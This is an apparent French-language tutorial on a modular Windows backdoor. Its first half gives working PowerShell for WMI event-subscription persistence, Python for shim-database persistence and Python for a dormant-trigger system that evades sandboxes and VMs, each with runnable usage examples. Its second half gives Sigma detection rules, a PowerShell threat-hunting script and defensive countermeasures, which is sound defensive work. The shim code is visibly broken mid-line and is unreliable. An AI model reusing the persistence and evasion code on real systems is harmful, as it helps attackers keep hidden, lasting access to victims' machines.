🏗️ Architecture Professionnelle 2026
Architecture Modulaire d'une Backdoor Avancée
[COMPOSANT] [FONCTION] [TECHNIQUE MITRE]
═══════════════════════════════════════════════════════════════════════════
Stage 0 (Dropper) Livraison initiale T1204.002
↓
Stage 1 (Loader) Chargement en mémoire T1055.012
↓
Stage 2 (Persister) Installation persistance T1547.001
↓
Stage 3 (Communicator) Établissement C2 T1071.001
↓
Stage 4 (Executor) Exécution commandes T1059.003
Structure du Code Source Modulaire
ghost_malware_2026/
├── core/
│ ├── loader.py # Stage 1 - Chargement mémoire
│ ├── crypto.py # Chiffrement AES-256-GCM
│ └── obfuscator.py # Obfuscation polymorphique
├── modules/
│ ├── persistence/
│ │ ├── wmi.py # Persistance WMI
│ │ ├── registry.py # Registry Run Keys
│ │ └── service.py # Service Windows
│ ├── communication/
│ │ ├── http2.py # C2 via HTTP/2
│ │ ├── dns.py # DNS tunneling
│ │ └── icmp.py # ICMP covert channel
│ └── execution/
│ ├── cmd.py # Exécution commandes
│ ├── fileops.py # Opérations fichiers
│ └── network.py # Découverte réseau
├── triggers/
│ ├── time_trigger.py # Déclencheur temporel
│ ├── file_trigger.py # Déclencheur fichier
│ └── network_trigger.py # Déclencheur réseau
└── config/
├── config.json # Configuration
└── encryption.key # Clés de chiffrement
⚙️ Persistance Avancée - Niveau Entreprise
Technique 1 : WMI Event Subscription (T1546.003)
# ==============================================
# PERSISTANCE WMI PROFESSIONNELLE
# ==============================================
function Install-WmiPersistence {
param(
[string]$PayloadPath,
[string]$TriggerName = "WindowsUpdateMonitor",
[int]$CheckInterval = 300 # Secondes
)
# 1. Création du Filtre WMI (déclenchement périodique)
$FilterQuery = @"
SELECT * FROM __InstanceModificationEvent WITHIN $CheckInterval
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 300
"@
$Filter = Set-WmiInstance -Class __EventFilter `
-Namespace "root\subscription" `
-Arguments @{
Name = "${TriggerName}Filter"
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = $FilterQuery
}
# 2. Création du Consumer (exécution payload)
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer `
-Namespace "root\subscription" `
-Arguments @{
Name = "${TriggerName}Consumer"
ExecutablePath = $PayloadPath
CommandLineTemplate = "`"$PayloadPath`" /silent"
RunInteractively = $false
}
# 3. Liaison Filter-Consumer
$Binding = Set-WmiInstance -Class __FilterToConsumerBinding `
-Namespace "root\subscription" `
-Arguments @{
Filter = $Filter
Consumer = $Consumer
}
# 4. Masquage avancé (suppression des références)
Remove-Variable Filter, Consumer, Binding -Force -ErrorAction SilentlyContinue
Write-Host "[+] Persistance WMI installée - Intervalle: ${CheckInterval}s" -ForegroundColor Green
}
# Exemple d'utilisation
# Install-WmiPersistence -PayloadPath "C:\Windows\Temp\svchost_legit.exe" -CheckInterval 600
Technique 2 : Shim Database Persistence (T1546.011)
# ==============================================
# SHIM DATABASE PERSISTENCE
# Technique peu connue, très efficace
# ==============================================
import os
import sys
import struct
import hashlib
from pathlib import Path
class ShimDatabasePersistence:
def __init__(self, target_exe="explorer.exe", payload_path=None):
self.target_exe = target_exe
self.payload_path = payload_path or sys.argv[0]
self.shim_db_path = r"C:\Windows\AppPatch\Custom"
def calculate_shim_hash(self):
"""Calcule le hash utilisé par la base de données Shim"""
target_path = os.path.join(os.environ['WINDIR'], 'System32', self.target_exe)
with open(target_path, 'rb') as f:
file_data = f.read(1024 * 1024) # Premier 1MB
# Algorithme de hash utilisé par sdbinst.exe
hash_obj = hashlib.sha256()
hash_obj.update(struct.pack('
'''
shim_dir = Path(self.shim_db_path) / "CustomDatabase"
shim_dir.mkdir(exist_ok=True, parents=True)
xml_path = shim_dir / f"{shim_hash}.sdb"
xml_path.write_text(xml_content, encoding='utf-16le')
return xml_path
def install_shim(self):
"""Installe la persistance via sdbinst.exe"""
shim_hash = self.calculate_shim_hash()
xml_path = self.create_shim_xml(shim_hash)
# Installation silencieuse
import subprocess
result = subprocess.run([
'sdbinst.exe',
'-q', # Mode silencieux
'-p', # Installation permanente
str(xml_path)
], capture_output=True)
if result.returncode == 0:
print(f"[+] Shim persistence installed for {self.target_exe}")
print(f"[+] Hash: {shim_hash}")
return True
return False
# Utilisation
if __name__ == "__main__":
shim = ShimDatabasePersistence(target_exe="explorer.exe")
shim.install_shim()
💤 Malware Dormant - Architecture Conditionnelle
Système de Déclencheurs Intelligents
# ==============================================
# GHOST TRIGGER SYSTEM 2026
# Architecture modulaire de déclenchement
# ==============================================
from abc import ABC, abstractmethod
from typing import Dict, Any, List
from datetime import datetime
import socket
import platform
import psutil
import winreg
class BaseTrigger(ABC):
"""Classe abstraite pour tous les déclencheurs"""
def __init__(self, name: str, priority: int = 1):
self.name = name
self.priority = priority
self.activated = False
@abstractmethod
def check(self) -> bool:
"""Vérifie si le déclencheur est activé"""
pass
def __str__(self) -> str:
return f"[Trigger: {self.name}]"
class TimeTrigger(BaseTrigger):
"""Déclencheur temporel précis"""
def __init__(self, target_date: str, target_time: str = "00:00"):
super().__init__("TimeTrigger", priority=3)
self.target_datetime = datetime.strptime(
f"{target_date} {target_time}", "%Y-%m-%d %H:%M"
)
def check(self) -> bool:
current = datetime.now()
# Vérification précise (à la seconde près)
if current >= self.target_datetime:
# Vérification supplémentaire: jour ouvré
if current.weekday() < 5: # Lundi-Vendredi
self.activated = True
return True
return False
class NetworkTrigger(BaseTrigger):
"""Déclencheur basé sur l'environnement réseau"""
def __init__(self, required_ips: List[str] = None):
super().__init__("NetworkTrigger", priority=2)
self.required_ips = required_ips or ["192.168.1.", "10.0.0."]
self.forbidden_ips = ["192.168.56.", "172.16."] # IPs de lab
def check(self) -> bool:
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
# Vérification IP valide (pas lab)
for forbidden in self.forbidden_ips:
if local_ip.startswith(forbidden):
return False
# Vérification réseau cible
for required in self.required_ips:
if local_ip.startswith(required):
# Vérification connectivité sortante
try:
socket.create_connection(("8.8.8.8", 53), timeout=2)
self.activated = True
return True
except:
pass
except Exception as e:
print(f"[!] NetworkTrigger error: {e}")
return False
class SandboxTrigger(BaseTrigger):
"""Détection sandbox/VM/analyse"""
def __init__(self):
super().__init__("SandboxTrigger", priority=5)
def check(self) -> bool:
indicators = []
# 1. Vérification mémoire RAM
mem = psutil.virtual_memory()
if mem.total < 4 * 1024**3: # < 4GB
indicators.append("low_ram")
# 2. Vérification CPU cores
if psutil.cpu_count() < 2:
indicators.append("single_core")
# 3. Vérification disque
disk = psutil.disk_usage('C:\\')
if disk.total < 60 * 1024**3: # < 60GB
indicators.append("small_disk")
# 4. Vérification processus sandbox courants
sandbox_processes = ["vboxservice", "vmwaretray", "qemu-ga", "xenservice"]
for proc in psutil.process_iter(['name']):
if proc.info['name'] and any(
sp in proc.info['name'].lower() for sp in sandbox_processes
):
indicators.append("sandbox_process")
break
# 5. Vérification artefacts VM
vm_artifacts = [
r"HKLM\HARDWARE\ACPI\DSDT\VBOX__",
r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
]
try:
for artifact in vm_artifacts:
key_path = artifact.split('\\')
hive = getattr(winreg, key_path[0])
try:
winreg.OpenKey(hive, '\\'.join(key_path[1:]))
indicators.append("vm_artifact")
break
except:
continue
except:
pass
# Si trop d'indicateurs sandbox → ne pas s'activer
if len(indicators) >= 2:
return False
self.activated = True
return True
class FileTrigger(BaseTrigger):
"""Déclencheur basé sur présence fichier"""
def __init__(self, file_path: str, required_hash: str = None):
super().__init__("FileTrigger", priority=4)
self.file_path = file_path
self.required_hash = required_hash
def check(self) -> bool:
import os
import hashlib
if not os.path.exists(self.file_path):
return False
if self.required_hash:
with open(self.file_path, 'rb') as f:
file_hash = hashlib.sha256(f.read()).hexdigest()
if file_hash != self.required_hash:
return False
# Vérifier que le fichier a été modifié récemment
mtime = os.path.getmtime(self.file_path)
import time
if time.time() - mtime > 86400: # > 24h
return False
self.activated = True
return True
class TriggerOrchestrator:
"""Orchestrateur de déclencheurs"""
def __init__(self):
self.triggers = []
self.activation_logic = "AND" # AND, OR, MAJORITY
def add_trigger(self, trigger: BaseTrigger):
self.triggers.append(trigger)
self.triggers.sort(key=lambda x: x.priority, reverse=True)
def evaluate(self) -> bool:
"""Évalue tous les déclencheurs selon la logique définie"""
if not self.triggers:
return False
results = [t.check() for t in self.triggers]
if self.activation_logic == "AND":
return all(results)
elif self.activation_logic == "OR":
return any(results)
elif self.activation_logic == "MAJORITY":
return sum(results) > len(results) / 2
return False
def get_status(self) -> Dict[str, Any]:
"""Retourne le statut détaillé des déclencheurs"""
return {
t.name: {
'activated': t.activated,
'priority': t.priority
} for t in self.triggers
}
# Exemple d'utilisation
if __name__ == "__main__":
orchestrator = TriggerOrchestrator()
orchestrator.activation_logic = "MAJORITY"
# Ajout des déclencheurs
orchestrator.add_trigger(TimeTrigger("2026-07-01"))
orchestrator.add_trigger(NetworkTrigger(["10.0.0.", "192.168.1."]))
orchestrator.add_trigger(SandboxTrigger())
orchestrator.add_trigger(FileTrigger(r"C:\Windows\Temp\activate.txt"))
print("[*] Vérification des déclencheurs...")
if orchestrator.evaluate():
print("[+] Déclencheurs activés! Exécution du payload...")
# Exécuter le payload principal
else:
print("[-] Conditions non remplies, rester dormant")
print(f"Statut: {orchestrator.get_status()}")
🔍 Détection Professionnelle & Threat Hunting
Règles Sigma Avancées
title: Suspicious WMI Persistence via Event Subscription
id: 2026-ghost-001
status: experimental
description: Détecte la création d'abonnements WMI Event pour la persistance, technique utilisée par les APTs et malwares avancés
author: Ghost Detection Team
date: 2026/01/15
references:
- https://attack.mitre.org/techniques/T1546/003/
tags:
- attack.persistence
- attack.t1546.003
- attack.wmi
logsource:
category: process_creation
product: windows
detection:
selection_wmi:
Image|endswith:
- '\wmic.exe'
- '\powershell.exe'
- '\cmd.exe'
CommandLine|contains|all:
- '__EventFilter'
- '__FilterToConsumerBinding'
- 'CommandLineEventConsumer'
selection_ps:
Image|endswith: '\powershell.exe'
CommandLine|contains|re: 'Set-WmiInstance.*__EventFilter|New-CimInstance.*EventFilter'
timeframe:
CommandLine|contains: '-Namespace'
CommandLine|contains: 'root\\subscription'
filter_legitimate:
CommandLine|contains:
- 'Get-WmiObject'
- 'Get-CimInstance'
- 'win32_process'
condition:
(selection_wmi or selection_ps) and timeframe and not filter_legitimate
falsepositives:
- Scripts d'administration système légitimes (rares)
- Outils de monitoring entreprise
level: high
---
title: Shim Database Persistence Detection
id: 2026-ghost-002
status: test
description: Détecte l'installation de shims via sdbinst.exe pour persistance
author: Ghost Detection Team
date: 2026/01/15
references:
- https://attack.mitre.org/techniques/T1546/011/
tags:
- attack.persistence
- attack.t1546.011
- attack.shim
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\sdbinst.exe'
CommandLine|contains|all:
- '-p' # Permanent
- '-q' # Quiet mode
CommandLine|contains|any:
- '.sdb'
- 'CustomDatabase'
timeframe:
ParentImage|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\rundll32.exe'
condition: selection and timeframe
falsepositives:
- Installation légitime de correctifs de compatibilité
level: medium
---
title: Multiple Trigger Condition Malware
id: 2026-ghost-003
status: experimental
description: Détecte les comportements typiques des malwares à déclencheurs multiples
author: Ghost Detection Team
date: 2026/01/15
tags:
- attack.defense_evasion
- attack.execution
logsource:
category: process_creation
product: windows
detection:
time_check:
CommandLine|contains|any:
- 'datetime.now()'
- 'Get-Date'
- 'time.strftime'
network_check:
CommandLine|contains|any:
- 'socket.gethostbyname'
- 'Test-NetConnection'
- 'nslookup'
sandbox_check:
CommandLine|contains|any:
- 'psutil.virtual_memory'
- 'Get-WmiObject Win32_ComputerSystem'
- 'VMwareTools'
condition: time_check and network_check and sandbox_check
fields:
- CommandLine
- User
- ParentCommandLine
level: high
Script de Hunting Automatisé
# ==============================================
# GHOST HUNTER 2026 - PowerShell Edition
# ==============================================
function Invoke-GhostHunter {
[CmdletBinding()]
param(
[string]$OutputPath = ".\hunt_report_$(Get-Date -Format 'yyyyMMdd_HHmm').html"
)
$Report = @"
Ghost Hunter Report - $(Get-Date)
🔍 Ghost Hunter Report - $(Get-Date)
"@
# 1. VÉRIFICATION WMI PERSISTENCE
Write-Host "[*] Scanning WMI Event Subscriptions..." -ForegroundColor Cyan
$Report += "1. WMI Event Subscriptions
"
$WmiFilters = Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue
$WmiConsumers = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue
if ($WmiFilters) {
$Report += "⚠️ WMI Filters Found:
"
$WmiFilters | ForEach-Object {
$Report += "Name: $($_.Name)`nQuery: $($_.Query)`n---`n"
}
$Report += ""
} else {
$Report += "✅ No suspicious WMI filters found
"
}
# 2. VÉRIFICATION SHIM DATABASE
Write-Host "[*] Scanning Shim Database..." -ForegroundColor Cyan
$Report += "2. Shim Database Analysis
"
$ShimPath = "C:\Windows\AppPatch\Custom\CustomDatabase"
if (Test-Path $ShimPath) {
$ShimFiles = Get-ChildItem $ShimPath -Filter *.sdb -ErrorAction SilentlyContinue
if ($ShimFiles) {
$Report += "⚠️ Custom Shim Database Files:
"
$ShimFiles | ForEach-Object {
$Report += "$($_.Name) - $($_.Length) bytes - $($_.LastWriteTime)`n"
}
$Report += ""
}
}
# 3. VÉRIFICATION TÂCHES PLANIFIÉES SUSPECTES
Write-Host "[*] Scanning Scheduled Tasks..." -ForegroundColor Cyan
$Report += "3. Scheduled Tasks Analysis
"
$SuspiciousTasks = Get-ScheduledTask | Where-Object {
$_.TaskName -match "update|upgrade|maintenance|check" -and
$_.Author -notmatch "Microsoft|Windows"
}
if ($SuspiciousTasks) {
$Report += "⚠️ Suspicious Scheduled Tasks:
"
$SuspiciousTasks | ForEach-Object {
$Report += "Task: $($_.TaskName)`nAuthor: $($_.Author)`nCommand: $($_.Actions.Execute)`n---`n"
}
$Report += ""
}
# 4. VÉRIFICATION CONNEXIONS RÉSEAU SUSPECTES
Write-Host "[*] Analyzing Network Connections..." -ForegroundColor Cyan
$Report += "4. Network Connections
"
$SuspiciousPorts = @(8443, 4444, 8080, 53)
$Connections = Get-NetTCPConnection -State Established | Where-Object {
$_.RemotePort -in $SuspiciousPorts -or
$_.LocalPort -in $SuspiciousPorts
}
if ($Connections) {
$Report += "⚠️ Suspicious Network Connections:
"
$Connections | ForEach-Object {
$Process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
$Report += "Process: $($Process.Name) (PID: $($_.OwningProcess))`n"
$Report += "Local: $($_.LocalAddress):$($_.LocalPort) -> Remote: $($_.RemoteAddress):$($_.RemotePort)`n---`n"
}
$Report += ""
}
# 5. VÉRIFICATION REGISTRY PERSISTENCE
Write-Host "[*] Scanning Registry Persistence..." -ForegroundColor Cyan
$Report += "5. Registry Persistence Points
"
$RegistryPaths = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
)
$SuspiciousEntries = @()
foreach ($Path in $RegistryPaths) {
if (Test-Path $Path) {
$Entries = Get-ItemProperty -Path $Path -ErrorAction SilentlyContinue
$Entries.PSObject.Properties | Where-Object {
$_.Name -notmatch '^PS' -and
$_.Value -match '\.exe' -and
$_.Value -notmatch 'C:\\Windows'
} | ForEach-Object {
$SuspiciousEntries += @{
Path = $Path
Name = $_.Name
Value = $_.Value
}
}
}
}
if ($SuspiciousEntries.Count -gt 0) {
$Report += "⚠️ Suspicious Registry Entries:
"
$SuspiciousEntries | ForEach-Object {
$Report += "Path: $($_.Path)\$($_.Name)`nValue: $($_.Value)`n---`n"
}
$Report += ""
}
$Report += @"
Report generated by Ghost Hunter 2026
"@
$Report | Out-File -FilePath $OutputPath -Encoding UTF8
Write-Host "[+] Report generated: $OutputPath" -ForegroundColor Green
# Ouverture automatique du rapport
Invoke-Item $OutputPath
}
# Exécution
Invoke-GhostHunter
🛡️ MITRE D3FEND - Contre-mesures Détaillées
Process Segment Analysis
Contre WMI Persistence: Analyser les segments mémoire des processus WmiPrvSE.exe pour détecter l'injection de code malveillant.
Implémentation: EDR avec analyse comportementale + règles YARA en mémoire.
Application Sandboxing
Contre Shim Database Attacks: Exécuter les applications inconnues dans un sandbox pour analyser leur comportement.
Implémentation: Windows Defender Application Guard + custom sandboxing.
Network Traffic Analysis
Contre C2 Communications: Analyser les patterns de traffic réseau pour détecter les communications chiffrées suspectes.
Implémentation: Zeek/Bro IDS + règles Suricata + analyse JA3/JA4.
File Analysis
Contre Malware Dormant: Analyser les fichiers pour détecter les déclencheurs temporels/réseau intégrés.
Implémentation: Système de scanning statique avec analyse heuristique avancée.
Stratégie de Défense en Profondeur
STRATÉGIE DE DÉFENSE EN PROFONDEUR - GHOST MALWARE 2026 ═══════════════════════════════════════════════════════════════════════ NIVEAU 1 : PRÉVENTION ├── AppLocker / WDAC (Whitelisting applications) ├── ASR (Attack Surface Reduction) règles ├── Macro Security (désactivation macros non signées) └── Software Restriction Policies NIVEAU 2 : DÉTECTION ├── EDR (Endpoint Detection and Response) ├── SIEM avec règles Sigma personnalisées ├── NIDS/NIPS (Network Intrusion Detection/Prevention) └── HIDS (Host-based IDS - OSSEC, Wazuh) NIVEAU 3 : RÉPONSE ├── Playbooks d'incident automatisés ├── Isolation réseau automatique ├── Quarantaine des endpoints compromis └── Forensics automatisés NIVEAU 4 : RÉCUPÉRATION ├── Backups immutables et testés régulièrement ├── Plans de reprise d'activité documentés ├── Procédures de réimage rapide └── Post-mortem analysis et amélioration continue